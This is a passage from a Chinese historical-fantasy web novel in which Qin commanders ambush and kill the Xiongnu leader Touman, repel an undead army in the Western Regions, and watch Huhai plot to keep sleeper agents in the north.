“而且……西域之地,古老传说众多,遗迹绝不止赤岩走廊一处。”
“他如此急切地想要一统西域,恐怕不仅仅是为了兵力,更是为了能更方便地搜寻,占据其他可能存在的遗迹!”
“若让他再得一二件遗迹宝物,后果不堪设想!”
蒙犽闻言,脸上带着难以抑制的焦急与战意,对着赢子夜抱拳道:“殿下!大月氏改变主攻方向,家父防线压力倍增,东南门户危殆!”
“末将**,愿亲率雷殛军主力,出击迎战,绝不能让其突破东南防线!”
第446章 万事已备,只欠东风!
赢子夜抬起头,看向这位勇悍的将领,缓缓摇头,语气沉稳却不容置疑。
“不可。”
蒙犽急道:“殿下!若东南防线有失,西域局势将彻底崩坏啊!”
赢子夜走到沙盘前,指着西北方向。
“蒙犽,你若率主力出击东南,东北那几处防线必然空虚。”
“头曼那条老狼虽然新败,但匈奴许多残部犹在,一直在旁游走窥伺。”
“你若动,他们岂会放过这背刺一刀,趁火**的机会?”
“届时,我军腹背受敌,局面将更加凶险!”
蒙犽闻言一滞!
他也知道头曼是个隐患,但父亲那边的压力让他心如油煎!
“那……那请殿下恩准,让末将亲率一支精锐骑兵,驰援家父!”
“哪怕只能缓解也好!”
赢子夜看着这位忧心父亲的将领,语气缓和了些,带着安抚的意味。
“蒙犽,你的心情本公子明白。”
“但此时派一支偏师前去,面对乌孙陀罗主力,无异于杯水车薪,根本无法扭转战局。”
“想要真正对抗乃至消灭那些不死邪兵,我们需要的是特殊的军队,是足以武装更多人的火雨玛瑙兵器!”
他拍了拍蒙犽的肩膀,继续道。
“更何况,你乃西域行军都尉,肩负镇守边防,监视匈奴,统筹全局之重任,岂能因一地之危而轻离帅位?”
“若你也去了东南,这东北大局,谁来主持?”
蒙犽张了张嘴,想要反驳,却知道赢子夜所言在理!
他身为大将,确实不能意气用事。
他重重叹了口气,脸上满是无奈与不甘!
“殿下教训的是,是末将急躁了。”
“可……可眼下之计,该当如何?”
“难道就眼睁睁看着东南防线……”
“自然不是坐视不理。”
赢子夜目光重新投向沙盘,开始清晰地下达指令。
“传令蒙恬将军,不必与敌死磕硬拼。”
“命他依托现有工事和城池,采取节节阻击,梯次防御的策略,主动放弃一些非核心的外围据点,收缩兵力,集中固守几处咽喉要道。”
“目的是延缓和消耗大月氏的进攻锋芒,为我们争取时间!”
“同时,”赢子夜看向侍立一旁的赵弋苍。
“你立刻以最快速度传讯石堡城,命公输仇暂停其他兵器打造,集中所有工匠和材料,全力赶制火雨玛瑙箭矢!”
“造出一批,立刻运往前线一批,优先保障蒙恬所部!”
“诺!”
赵弋苍领命,立刻转身安排。
蒙犽听到这个安排,眉头依旧紧锁。
“殿下,即使公输先生日夜赶工,打造出的箭矢恐怕也是有限!”
“面对乌孙陀罗那几乎无穷无尽的不死大军,这点补充,怕是……杯水车薪,难以有效灭杀其主力啊。”
赢子夜闻言,脸上非但没有忧虑,反而露出一抹淡然却充满自信的笑容。
他看向蒙犽,语气平和却带着一种掌控全局的力量。
“蒙犽,稍安勿躁。”
“我们现在最需要的,就是时间。”
“一步步延缓乌孙陀罗的脚步,消耗他的力量,这就足够了。”
他走到帐边,目光仿佛穿透了营帐,望向了北疆的方向,意味深长地说道。
“更何况……本公子在北疆,还另有安排。”
“只要那边尘埃落定,彻底稳固,我们便可再无后顾之忧,集中全力,对付这西域的鬼王!!”
他没有明说北疆的具体安排是什么。
但蒙犽看着赢子夜那智珠在握,沉稳自信的侧脸,心中的焦躁莫名地平复了不少。
他跟随赢子夜日久。
深知这位殿下从不打无把握之仗。
既然他如此说,必然已有周全考量!!
“末将……明白了!”
蒙犽深吸一口气,压下对父亲的担忧,重重抱拳!
“末将这就去安排,定将殿下军令,准确传达给家父,并严守西北防线,绝不给头曼可乘之机!”
“去吧。”
赢子夜微微颔首。
看着蒙犽离去的背影,赢子夜的目光再次落回沙盘上。
他仿佛已经看到了北疆那几座关键城池之外,少司命与焰灵姬布下的天罗地网,以及王贲那蓄势待发的数万精锐。
“胡亥,头曼……”
“这北疆的棋子,也该到收网的时候了!”
他心中默念,眼神锐利如刀!
只要北疆平定。
他便可倾西域全力,与乌孙陀罗,进行最后的决战!!
……
与此同时!
匈奴残军藏身的隐秘山谷。
王帐内的气氛,因胡亥送来的密信和布防图而变得诡异起来!
头曼单于捏着那几卷绘制精细的绢帛,粗犷的脸上先是闪过一丝贪婪,随即又被更深沉的警惕和冷笑所取代。
几名心腹将领围拢过来,看着地图上标注的粮仓、军械库和要塞,眼中都冒出了绿光。
“单于!胡亥这小子倒是送了一份大礼!”
“有了这些粮草军械,咱们就能恢复元气!”
一名万夫长兴奋地低吼。
“是啊单于!拿下这些地方,咱们就有了立足之本,不必再看胡亥脸色了!”
头曼单于缓缓抬起头,那双如同草原苍狼般的眸子里,闪烁着狡诈与狠厉!
他冷哼一声,声音如同砂石摩擦。
“礼物?哼!天下哪有白吃的午餐!”
“胡亥那条小毒蛇,会这么好心把肥肉送到我们嘴边?”
“他不过是想利用我们,去搅乱北疆,替他吸引赢子夜的火力,好让他自己火中取栗!”
他猛地将绢帛拍在案几上,目光扫过众将。
“你们以为,占了这些城池,我们就能高枕无忧了?”
“愚蠢!”
“那只会让我们成为秦军和胡亥共同的目标!”
“到时候,我们就是被架在火上烤的羊!”
他站起身,走到王帐中央,声音带着不容置疑的决断。
“传本单于命令!”
“集结所有还能战斗的儿郎,按照胡亥提供的路线和布防弱点,给本王以最快速度,攻下黑谷仓、风息堡、赤岩镇!”
众将精神一振,正要领命。
头曼却话锋一转,语气变得极其冷酷和清醒。
“但是!都给我听清楚了!”
“攻下之后,不许占领!不许留恋!”
他眼中寒光四射,一字一句道:“给本王抢!”<
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br>“能带走的粮食、军械、马匹,全部带走!”
“带不走的,一把火烧了!”
“然后,立刻撤离,按照我们原定的计划,向北部草原深处转移!”
他看着有些愕然的部下,脸上露出一抹枭雄的狞笑。
“胡亥想让我们当吸引火力的靶子?”
“做梦!”
“本王要的是实实在在的粮草军械,要的是重整旗鼓的机会!”
“拿了他的好处,办我们自己的事!”
“想拿本王当棋子?他还嫩了点!”
“等我们恢复了实力,这北疆,乃至更广阔的天地,究竟谁说了算,还未可知呢!”
“都明白了吗?!”
众将恍然大悟,脸上纷纷露出心领神会的神色,齐声低吼!
“明白了!单于英明!”
……
是时!
北疆。
广袤而苍凉的土地上,看似平静,实则暗流汹涌。
王贲并未如寻常守将那般,将大军屯于黑谷仓、风息堡、赤岩镇这几座看似目标明显的城池之内。
他深知,头曼并非蠢人。
若见城中守备森严,必生警惕,这“请君入瓮”之计便难以奏效。
因此,他反其道而行之!
根据赢子夜的密令和少司命、焰灵姬传来的暗中情报。
王贲将他麾下数万精锐,如同撒豆子般,悄无声息地化整为零,秘密调动。
最终,如同数张无形的大网,分别笼罩在了这几座关键城池的外围!
在黑谷仓东南方向,一片茂密的桦木林中。
五千**手身披伪装,如同岩石般静默。
箭头对准了通往粮仓的必经之路!
而在风息堡西北侧的丘陵地带。
八千重甲步兵依托地势,构筑了数道简易却坚固的防线,战刀出鞘半寸,寒光隐现!
最后,在赤岩镇周边,那些看似荒芜的沟壑与废弃村落里,更是潜伏着王贲亲自率领的一万五千主力骑兵!
人马衔枚,蹄裹厚布!
只待信号一起,便能如雷霆般冲出,截断任何试图逃离的退路!!
甚至更远处,还有其他几支机动部队,占据了通往北部草原和胡亥势力范围的几处交通要道。
隐隐形成了更大的包围圈!!
确保一旦网中之鱼挣扎,绝无漏网的可能。
整个布局,悄无声息,却又杀机四伏。
中军则临时设在一处视野极佳的山坡背阴处。
王贲身披常甲,独臂按着剑柄,目光如同鹰隼般扫过眼前简陋的沙盘。
他脸上没有任何表情,只有一种历经沙场磨砺出的沉稳与冷峻!
这时。
一名斥候校尉如同狸猫般悄无声息地潜行而至,单膝跪地,声音压得极低,却带着一丝压抑不住的兴奋。
“将军!各部均已回报!”
“所有伏兵皆已抵达预定位置,完成隐蔽,弓上弦,刀出鞘,只待将军号令!!”
王贲闻言,那双锐利的眸子中,终于闪过一丝如同刀锋反光般的寒芒!
他缓缓抬起右臂,五指微微收拢,仿佛已经握住了那即将入网的猎物。
他没有说话,只是极其轻微却又无比坚定地点了点头。
这一个动作,已然足够!
第447章 围杀开始!
赤岩走廊。
磐石隘口。
蒙恬拄着战刀,机关左臂低垂,甲胄上沾满了凝固的血污和灰黑色的死气残留!
他望着前方如同潮水般退去,却又在远处重新凝聚,虎视眈眈的不死军团,粗重地喘息着。
连续数日的鏖战。
即便是他这等修为,也感到了深深的疲惫!
火雨玛瑙箭矢消耗巨大!
守军伤亡不断增加!
防线如同被不断啃噬的堤坝,看似稳固,实则已岌岌可危!
就在这时!
一名身着普通士兵服饰,眼神却异常锐利的汉子,借着夜色和战斗间隙的混乱,悄无声息地靠近了蒙恬,在他耳边低语了几句。
同时,将一个密封的小竹管塞入他手中。
是暗河的人!
蒙恬精神一振,立刻意识到这是殿下的指令到了!
他不动声色地捏碎竹管,取出里面的绢帛,借着周边摇曳的火把光芒快速扫过。
绢帛上的字迹简短而清晰,正是赢子夜的手令!
命令他放弃死守现有防线,主动后撤至预设的第二道防线,并沿途利用复杂地形,设置埋伏,层层阻击。
以空间换取时间。
延缓消耗敌军!
蒙恬眼中,瞬间爆发出恍然与决断的光芒!
殿下此令,正合他意!
继续在此地与敌人硬拼,只会被活活耗死。
后撤,并非怯战,而是更高效智慧的战术!
他猛地转身,对着身边几名浑身浴血却依旧眼神坚定的将领,声音嘶哑却带着不容置疑的威严。
“传令!前军变后军,后军变前军!”
“各部交替掩护,有序后撤!”
“目标——落鹰涧!”
一名脸上带着刀疤的校尉闻言,急声道:“将军!我们好不容易才守住这里,一旦后撤,军心恐……”
“执行命令!”
蒙恬打断他,目光如炬。
“此乃殿下的指令,岂容置疑?!”
“而且,这不是溃败,是战术转移!”
“我们要把这片土地,变成埋葬这些鬼东西的坟场!”
他随即点出几名以机敏和擅长布置陷阱著称的军官。
“你,带你的人,在通往落鹰涧的‘一线天’峡谷两侧,多备滚木礌石,埋设公输家留下的地火雷!”
“你,在乱石坡利用那些天然石林,布置**手,打他们一个措手不及!”
“还有你,做好焚桥准备,必要时,给老子把桥炸了!”
一道道命令迅速下达。
原本固守的秦军,如同精密的仪器开始反向运转。
主力部队开始有条不紊地后撤。
而一支支小股精锐则如同钉子般,被留在了撤退路线的关键节点。
他们眼神冰冷,开始利用地形和有限的物资,精心布置起一道道死亡陷阱!
蒙恬最后看了一眼浴血奋战多日的磐石隘口,没有丝毫留恋,调转马头,汇入后撤的洪流。
他知道,接下来的战斗,将更加残酷,但也更加灵活。
他要让乌孙陀罗的每一步推进,都付出血的代价!!
将这赤岩走廊,变成吞噬不死军团的巨大泥潭!
……
数日后。
北疆的黎明,带着一丝料峭的寒意。
沉寂了数日的黑谷仓、风息堡、赤岩三座重镇,如同往常一样,在晨曦中显露出轮廓。
城头的守军似乎因为连日的平静而显得有些松懈。
巡逻的队形也不如往日严密。
然而,在这看似平静的表象之下,是早已张开,蓄势待发的死亡之网!
黑谷仓外,桦木林。
负责伏击的秦军校尉王悍,如同石雕般趴在一簇茂密的灌木后。
他的目光透过枝叶缝隙,死死盯着远处地平线。
当第一缕阳光刚刚刺破云层,将金色洒向广袤的粮田时,一阵极其轻微,却密集如雨点般的马蹄声,由远及近,迅速变得清晰!
来了!
只见数百名匈奴骑兵,如同鬼魅般从晨雾中冲出!
他们人马皆轻甲,弯刀出鞘,脸上带着饿狼般的贪婪与凶狠,径直扑向黑谷仓那看似毫无防备的城门!
他们甚至没有派出斥候仔细侦查两侧的林地。
显然对胡亥提供的内部消息深信不疑。
认为守军主力已被调往他处,此地空虚!
“准备……”
王悍的声音低沉得几乎听不见,他缓缓抬起了右手。
身后,五千**手无声地调整着呼吸,弓弦被缓缓拉开,闪烁着幽蓝寒光的特制破甲箭,对准了冲锋的匈奴骑兵!
此箭并非火雨玛瑙,但也是精制箭矢。
当匈奴前锋即将冲入弓箭最佳射程的刹那——
“放!”
王悍的右手狠狠挥下!
“嗡——!!”
一片令人头皮发麻的弓弦震鸣骤然响起!
数千支利箭如同死亡的蜂群,从静谧的桦木林中暴射而出,瞬间覆盖了冲锋的匈奴骑兵!
“噗嗤!噗嗤!噗嗤!”
利刃入肉的闷响和战马的悲鸣瞬间取代了冲锋的蹄声!
冲在最前面的匈奴骑兵如同撞上了一堵无形的墙壁,人仰马翻,成片倒下!
突如其来的打击让匈奴人阵型大乱,后续的骑兵惊恐地勒住战马,试图转向。
“第二队,抛射!覆盖后方!”
“刀盾手,随我杀出去!一个不留!”
王悍怒吼着,亲自提起战刀,率先冲出了林地!
伏兵尽出,如同山洪暴发!
瞬间将陷入混乱的匈奴骑兵淹没!!!
……
风息堡,西北丘陵。
几乎在同一时间,负责攻打风息堡的匈奴部队也遭遇了灭顶之灾。
他们试图利用胡亥地图上标注的一条隐秘小路靠近城堡,却一头撞进了秦军重甲步兵预设的防御阵地!
沉重的塔盾如同城墙般竖起,长矛如林从盾牌缝隙中刺出!
匈奴骑兵的冲锋撞在这钢铁丛林上,瞬间筋断骨折!
更有布置在丘陵制高点的床**发出恐怖的咆哮!
儿臂粗细的**箭带着撕裂空气的尖啸,将试图集结的匈奴百夫长连同其坐骑一起钉死在地上!
“顶住!给老子压上去!”
重甲步兵统领如同铁塔,挥舞着战锤,指挥着部队稳步推进,将试图顽抗的匈奴人碾碎在盾阵和矛林之下!
……
赤岩镇,军械库外围沟壑。
这里,是头曼亲自率领的兵力最强的一股奇袭部队。
他的目标最为明确——
抢夺军械,然后立刻远遁!
然而,他的部队刚刚靠近军械库外
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围那片看似荒芜的沟壑区域,异变陡生!
两侧沟壑中,突然立起了无数面黑色的秦字战旗!
紧接着,如同雷霆般的马蹄声,从四面八方的那些废弃村落中响起!
王贲亲率的一万五千主力骑兵,如同神兵天降!
从各个隐蔽的出击点蜂拥而出,瞬间完成了对这支匈奴主力的合围!
“头曼老狗!王贲在此,恭候多时了!”
王贲单臂**,声如洪钟,一马当先,直取被亲卫簇拥在中央,脸色剧变的头曼单于!
“中计了!是陷阱!快撤!”
头曼目眦欲裂,发出绝望的咆哮。
他终于明白,自己终究还是低估了赢子夜,也高估了胡亥那点小聪明!
他挥舞着弯刀,试图率亲卫杀出一条血路。
但王贲苦心布置的天罗地网,岂是那么容易突破的?
秦军骑兵如同铁壁合围,箭矢如雨,刀光如雪,将试图突围的匈奴骑兵一次次挡回。
战斗从一开始,就变成了一场单方面的围歼!
与此同时。
少司命与焰灵姬率领的精锐,也如同两把尖刀,在混乱的战场中精准地寻找着匈奴队伍中的指挥官和试图组织抵抗的骨干,进行斩首式的打击。
一道如同鬼魅般的暗河成员骤然出现在少司命身侧,声音急促而清晰。
“主母!急报!”
“现已确认头曼本尊,就在东南侧那股试图突围的匈奴亲卫之中!”
“王贲将军正率主力围堵,但其亲卫悍勇,恐有漏网之鱼!”
少司命清冷的眼眸瞬间锐利如冰刃!
头曼,这条引发北疆动荡,与胡亥勾结的核心老狼,终于现身了!
绝不能再让他逃脱!!
她没有任何犹豫,紫衣飘动,已如一道惊鸿般掠向焰灵姬的方向,声音清冽穿透战场喧嚣。
“焰灵!随我来!目标头曼!”
同时,她对紧随其后的几名暗河高手厉声下令。
“传讯王贲将军,收缩包围,锁死东南方向,绝不可放走头曼!”
“其他人,随我围杀!”
“诺!”
暗河高手领命。
一人如烟消散前去传讯,其余数人则如同附骨之疽,紧紧跟上少司命和焰灵姬。
焰灵姬刚用火鞭将一名匈奴百夫长抽得焦黑,闻言美眸中顿时燃起战意,娇叱一声!
“上!”
她玉足轻点,身形化作一团跃动的火焰,与少司命的紫色惊鸿并驾齐驱。
直扑战局最激烈的东南角!
王贲几乎在暗河给少司命她们传讯的同时,也看到了那支异常悍勇,死死护着中央一个魁梧身影的匈奴亲卫队。
他独目寒光爆射,声如雷霆。
“全军听令!给老子压上去!”
“锁死东南!”
“弓箭手,覆盖射击,阻断其后路!”
“骑兵,随我冲阵,碾碎他们!绝不能让头曼跑了!”
“杀!”
秦军攻势瞬间变得更加狂暴和有针对性!
如同收紧的铁钳,狠狠夹向那头困兽犹斗的草原苍狼!!
而少司命与焰灵姬,如同两道夺命的彩练,一紫一红,以惊人的速度穿透混乱的战场,带着冰冷的杀意和数名暗河顶尖高手,直指那头曼所在的核心!
围杀,就在此刻!
第448章 北疆已定!
赤岩镇。
军械库东南角,战局已压缩至极致。
王贲麾下的秦军铁骑如同不断收拢的钢铁洪流。
将头曼及其最后的三百余亲卫死死围困在一片半径不足百步的狭小区域内!
箭矢如同飞蝗般从外围不断倾泻而下!
压制着匈奴人任何试图突围的举动!
每一次箭雨落下,都伴随着匈奴士兵的惨叫与倒地!
圈内,尸骸枕藉。
鲜血将地面的砂石浸染成了暗红色!
残存的匈奴亲卫个个浑身浴血,眼神中充满了绝望与困兽犹斗的疯狂。
他们紧紧簇拥着中央那个如同雄狮般的身影——
头曼单于。
头曼身上的狼首大氅早已破损不堪,露出下面伤痕累累的玄黑色铁甲!
他手中紧握着一柄沾满血污的黄金弯刀,粗重的喘息如同风箱,胸膛剧烈起伏!
而那张饱经风霜,带着一道深刻刀疤的脸上,此刻没有了往日的枭雄霸气。
只剩下穷途末路的狰狞,与一丝不甘的悔恨!
他环视四周越来越近的秦**锋,知道今日恐怕难以幸免!
就在秦军步兵方阵挺着如林长矛,即将发起最后碾压式冲锋的刹那!!
“咻!咻!”
两道截然不同,却同样迅疾无比的身影,如同撕裂战场的闪电,猛地从秦军阵型的缝隙中穿出,稳稳落在了包围圈的内缘!
左侧,一袭紫衣,面纱轻拂,正是少司命!
她周身萦绕着淡薄却令人心悸的碧绿色光华。
万**花流的灵力已然引而不发,清冷的眼眸如同寒潭,瞬间锁定了被亲卫层层保护的头曼!!
右侧,焰灵姬红裙似火!
玉手中那条燃烧着橘红色火焰的长鞭如同活物般蜿蜒扭动,散发出灼热的气息!
她绝美的脸上带着一丝狩猎般的兴奋与冷冽,目光同样钉**头曼。
紧随其后,五六道如同鬼魅般的身影悄无声息地出现在她们身后阴影处!
这些是暗河最顶尖的**!
他们气息内敛,却散发着致命的危险!
她们的到来,瞬间让原本就紧绷到极点的战场气氛,几乎凝固!
头曼的亲卫们发出野兽般的咆哮!
毫不犹豫地分出一半人手,挥舞着弯刀,如同扑火的飞蛾般悍不畏死地冲向少司命与焰灵姬!
他们要用自己的生命,为单于争取哪怕一丝喘息之机!
“找死!”
焰灵姬娇叱一声,手腕一抖,火鞭如同**出洞,带着灼热的气浪,猛地抽向冲在最前面的几名匈奴勇士!
鞭影过处,空气扭曲!
那几名勇士的弯刀尚未落下,便被鞭梢蕴含的灼热内力震得脱手飞出!
整个人更是被抽得倒飞出去,身上燃起诡异的火焰,发出凄厉的惨嚎。
少司命则更为直接,玉指轻弹,数片由精纯木属性灵力凝聚而成的碧绿光刃,如同拥有生命般绕着她飞舞盘旋。
精准地划过冲来的匈奴士兵的咽喉、手腕、膝盖!
没有惊天动地的巨响,只有细微的切割声!
那些士兵便如同被抽掉了骨头的傀儡,瞬间瘫软下去!
伤口处,竟有嫩绿的枝芽诡异生出,迅速汲取着他们残存的生命力!
暗河高手则如同阴影中的死神,专门袭杀那些试图放冷箭或者从侧翼偷袭的匈奴人。
他们的动作简洁高效,又致命。
每一次出手,都必然带起一蓬血雨。
然而,头曼的这些亲卫,确实是他麾下最忠诚悍勇的战士。
即便面对如此恐怖的对手,他们依旧前赴后继。
用身体组成人墙,用生命拖延着时间!!
鲜血和残肢不断飞溅!
惨叫声此起彼伏!
这片狭小的区域,仿佛化作了修罗场!
头曼看着自己忠心耿耿的部下如同草芥般被收割,双眼瞬间赤红!
他发出一声如同受伤狼王般的咆哮。
体内那属于草原霸主的凶性被彻底激发!
一股强悍无匹的罡气,猛地从他体内爆发出来!
将周围几名亲卫都震得踉跄后退!
他不再躲在亲卫身后,黄金弯刀爆发出刺目的光芒,整个人如同炮弹般冲出,目标直指看起来威胁稍小的焰灵姬!
刀光如匹练!
带着撕裂一切的惨烈气势!
仿佛要将这红衣女子连同她手中的火鞭一同劈碎!
这是他凝聚了毕生功力,蕴含了无尽愤怒与绝望的舍命一击!
焰灵姬美眸一凝!
感受到了这一刀蕴含的恐怖力量。
她不敢硬接,火鞭如同灵蛇般回卷,在身前布下层层叠叠的火焰屏障,身形急速向后飘退!
就在头曼的刀锋即将斩破火焰屏障的刹那!
一直静立未动的少司命,动了!
她甚至没有去看头曼那惊天动地的一刀。
只是缓缓抬起了双手,在胸前结出了一个古老而玄奥的印诀。
随着印诀的完成,她周身那碧绿色的光华骤然变得无比深邃凝实!
仿佛化为了液态的翡翠!
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而她身前的地面,无数细嫩的藤蔓破土而出,以肉眼可见的速度疯狂生长交织!
瞬间,形成了一张巨大无比的碧绿色罗网!!
这罗网并非实体,而是由精纯至极的木属性灵力构成,充满了无尽的生机,却又带着一种禁锢万物的森然法则之力!
“缚!”
少司命朱唇轻启,吐出一个冰冷的字眼。
那碧绿罗网如同拥有生命般,无视了头曼狂暴的刀罡,如同水银泻地,又如同温柔的梦魇,悄无声息地缠绕而上!
瞬间将他连人带刀,包裹得严严实实!
头曼那狂暴前冲的身形骤然僵住!!
他感觉自己仿佛陷入了一片无边无际的粘稠沼泽!
又像是被无数坚韧无比的藤蔓从四面八方死死缠住。
那足以开山裂石的罡气,在这充满生机的碧绿罗网面前,竟如同泥牛入海,被迅速消融化解!
他奋力挣扎!
黄金弯刀疯狂劈砍!
但那罗网看似柔弱,却韧性十足。
被斩断的瞬间便立刻再生,反而缠绕得更紧!
他眼中的赤红迅速被一种难以置信的惊骇所取代!
这是什么诡异的力量?!
就在他被少司命的阴阳术死死束缚,空门大开的这一瞬。
一道炽热无比,凝聚到极点的橘红色火线,如同穿透虚空的激光,从焰灵姬指尖飞射而出!
速度快得超越了视觉的捕捉!
“噗——!”
轻微而仿佛灼烧皮革的声音响起。
头曼挣扎的动作猛地一僵!
他难以置信地低下头,看向自己的胸口!
那里……心脏的位置。
出现了一个拇指粗细,边缘焦黑的孔洞。
没有鲜血流出。
因为伤口在瞬间就被极致的高温碳化,封死。
他张了张嘴,想要说什么,却只能发出嗬嗬的漏气声。
眼中的惊骇、不甘、愤怒……
最终都化为了一片死寂的灰败!
他那雄壮的身躯晃了晃,重重地向前栽倒在地,溅起一片尘土!
黄金弯刀“当啷”一声,掉落在地,象征着他草原霸业的终结。
随着头曼的毙命。
残存的匈奴亲卫发出了最后的绝望哀嚎。
随即被汹涌而上的秦军彻底淹没!!
少司命缓缓散去了碧绿罗网,焰灵姬也收回了火鞭。
两人对视一眼,皆从对方眼中看到了一丝尘埃落定的冷冽。
北疆最大的祸首。
匈奴枭雄头曼,于此役,授首!!!
第449章 全线**!
北地。
胡亥的临时府邸。
窗外,是北疆特有的带着沙尘气息的夜风,呜咽着穿过窗棂,吹得案几上的烛火剧烈摇曳,明灭不定。
将胡亥那张阴鸷的脸映照得如同鬼魅。
他刚刚听完了心腹带来的关于头曼全军覆没,本人被少司命与焰灵姬联手格杀的详细战报!
那份由特殊渠道传递,字里行间都透着血腥气的绢帛,此刻正被他死死攥在手中!
指节因过度用力而泛出血色,微微颤抖!
没有预想中的暴怒摔砸。
也没有歇斯底里的咆哮!
胡亥只是静静地坐在那里,如同一尊骤然失去所有生气的石雕!
唯有那双深陷的眼眸,在跳动的烛光下,翻涌着惊涛骇浪!
那是计划彻底破产的震惊!
是功亏一篑的极致不甘!
以及……
一丝连他自己都不愿承认,对赢子夜那深不见底手段的惊悸!
“好……好一个赢子夜……”
良久。
一声如同从牙缝里挤出来的带着金属摩擦般质感的低语,终于打破了死寂。
胡亥的嘴角缓缓扯动,勾起一个极其难看,充满自嘲与怨毒的弧度。
“真是打得好算盘啊!”
他原本以为,放出头曼这头饿狼,搅乱北疆,自己便能以“定乱”之名,顺势重掌权柄,甚至将赢子夜拖在北疆的泥潭里。
却万万没想到,赢子夜早已看穿一切!
不仅在北疆布下了王贲这张致命的暗牌,更是算准了头曼的每一步动向。
直接来了个瓮中捉鳖!
将他和头曼的谋划连根拔起!
头曼一死,匈奴之乱平定,他胡亥还有什么理由继续留在北疆?
之前所有的功劳和苦劳,在头曼这颗血淋淋的人头面前,都变成了苍白无力的笑话。
被召回咸阳,接受父皇那莫测高深的审视,几乎已成定局!!
一想到要回到那座威严肃穆,步步杀机的咸阳宫。
失去兵权,重新变回那个需要看人脸色,仰人鼻息的公子,胡亥就感到一阵窒息般的恐惧和**!
他苦心经营北疆,耗费无数心血,难道就这样付诸东流?
“公子……”
“我们……我们如今该怎么办?”
身旁,一名最受信任的心腹将领,声音带着难以掩饰的惶恐,低声问道。
他也明白,头曼之死,等于斩断了公子在北疆最大的依仗和借口!
胡亥没有立刻回答。
他缓缓松开紧攥的拳头,那份染着无形血污的战报飘落在地!
站起身,走到窗边,推开窗户。
任由那带着寒意的夜风扑面而来,吹动他额前的碎发。
他望着窗外北地郡那稀疏的灯火,以及更远处漆黑一片,仿佛能吞噬一切的荒野。
眼中那惊涛骇浪渐渐平息。
取而代之的,是一种近乎冷酷,冰封般的平静!
以及在那冰层之下,疯狂滋生又不甘寂灭的野火!
回去?
不,他绝不能就这么认输!
北疆这块他投入了太多心血的土地,绝不能就这么轻易放弃!
就算明面上的权柄被收回,他也必须留下火种,留下他日能够卷土重来的后手!
“怎么办?”
胡亥重复了一遍心腹的问题,声音低沉而沙哑,却带着一种令人不寒而栗的决绝。
“自然是……准备回咸阳,向父皇‘复命’。”
他猛地转过身!
目光如鹰隼般扫过帐内几名核心心腹,那眼神锐利得仿佛能刺穿人心!
“但在走之前……”
他压低了声音,每一个字都像是从冰窖里捞出来。
“我们要把‘根’,牢牢扎在这北疆之地!”
他走到沙盘前,手指快速点过北地郡、铁石城、受降城……
以及那几座如今已被王贲接管的城池。
“把我们最忠诚,最机敏的人,全部散出去!”
“想办法,以各种身份,商户、流民、甚至是……投入王贲军中的士卒,潜伏下来!”
他的声音带着一种孤注一掷的狠厉!!
“告诉他们,忘掉过去的身份,像真正的钉子一样,给我死死钉在这些城池里!”
“暗中结交本地豪强,收买军中不得志的低级军官,培养我们自己的力量!”
他环视众人,眼神冰冷!
“记住,你们的任务不是现在起事,是潜伏,是等待!”
“等待他日……风云再起之时!”
“北疆,终将还会回到本公子的手中!”
“诺!”
几名心腹感受到胡亥话语中那破釜沉舟的意志,心中一凛,齐齐躬身领命!
随即,如同鬼影般悄无声息地退下。
去执行这最后的也是最为隐秘的布局!
而府邸内,再次只剩下胡亥一人……
他重新关好窗户,将凛冽的夜风隔绝在外。
烛火依旧摇曳,映照着他脸上那复杂难明的神色。
有阴谋破产的挫败,有对未来的忧虑……
但更多的,是一种如同毒蛇般盘踞在心底,等待时机反噬的冰冷决心!
……
是时。
通往西域边疆的官道上,临时军营中。
赢子夜指尖缓缓划过粗糙的沙盘边缘。
目光沉凝地落在赤岩走廊一带。
蒙恬传回的军报正摊开在案几上,字迹潦草,却清晰地勾勒出前线惨烈的战况。
不死军团如黑潮般昼夜不息地冲击着防线。
即便依托火雨玛瑙兵器勉强守住关键隘口,将士们的疲惫与伤亡仍在与日俱增!
沙盘上,象征大月氏的
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黑色旗标已悄然向东南移动。
如同毒蛇吐信,直指几处兵力相对薄弱的隘口!
他闭上眼,仿佛能听见远方战场上的嘶吼与兵刃相撞的铮鸣!
蒙恬在军报中详细描述了层层阻击的部署!
放弃外围据点,收缩兵力至落鹰涧、一线天等险要之处,利用地形设伏,以空间换时间。
每一步后撤,都经过精密计算。
每一处埋伏,都浸透着血与火的决绝。
赢子夜指节无意识地叩击着桌面。
心中既感佩蒙恬的坚韧,又涌起一股沉郁的焦灼。
乌孙陀罗显然不愿再纠缠于西北边角。
他想要的是撕开东南门户,吞并西域三十六国,将整个西方化为死气蔓延的疆土!
“若让他得逞……”
赢子夜在心中低语,眼底寒光乍现!
“不死大军将如野草般疯长,再想遏制,难如登天。”
就在这时。
怀中一枚特制的通讯符微微发烫!
他神色一凛,迅速取出。
符上流光闪烁,少司命清冷而简洁的声音直接传入神识。
“夫君,头曼已诛,北疆乱局平定。”
一瞬间,赢子夜胸腔中那股积压的沉郁骤然化作狂澜!!
他猛地攥紧符石,指节因用力而泛青,唇角却不受控制地扬起一丝锐利如刀锋的弧度!
北疆……定了!
那头老狼终究没能逃出他布下的天罗地网。
胡亥借匈奴搅乱局势的算盘,也彻底落空!
他缓缓起身,走向帐外。
夜风拂面,带着沙尘与远山的气息,却吹不散他心中翻涌的激荡。
北疆一定。
胡亥便如断翼之鹰,再难掀起风浪。
而西域——
这片埋葬着古老秘密,涌动着不死邪力的土地,将成为他与乌孙陀罗最终的棋盘!
他再度转身回帐,目光扫过帐中肃立的诸将,声音沉稳如磐石,却带着不容置疑的决断。
“传令蒙恬所部——”
“赤岩走廊乃西域咽喉,纵使战至一兵一卒,亦不得后退半步!”
“所有火雨玛瑙箭矢优先供给其部,每一寸土地,都要让乌孙陀罗用尸骸来换!!”
他顿了顿,指尖重重落在沙盘西北疆域。
“西北边疆诸城,除留守必要守军外,所有机动兵力全线压上!”
最后,他望向北疆方向,语气斩钉截铁!!
“另传讯王贲!北疆既平,速速整军西进驰援西北边疆!”
“此战,我要乌孙陀罗……有来无回!!!”
帐中诸将闻言,神色皆是一振!
近一年来笼罩在北疆的阴云终于散去!
而西域战场的**号角,正随着六殿下冷静而铿锵的指令,缓缓吹响。
“诺!谨遵殿下军令!”
第450章 命胡亥,即刻返回咸阳!
数日后。
西北边疆。
天穹被烽烟与肃杀浸透!
初升的朝阳本应洒下金辉,此刻却被漫天尘沙与隐约弥漫的死气染成一片浑浊的橘黄!
广袤而苍凉的大地上,秦军的**如同沉睡的巨兽骤然苏醒,开始展露它锋利的爪牙!
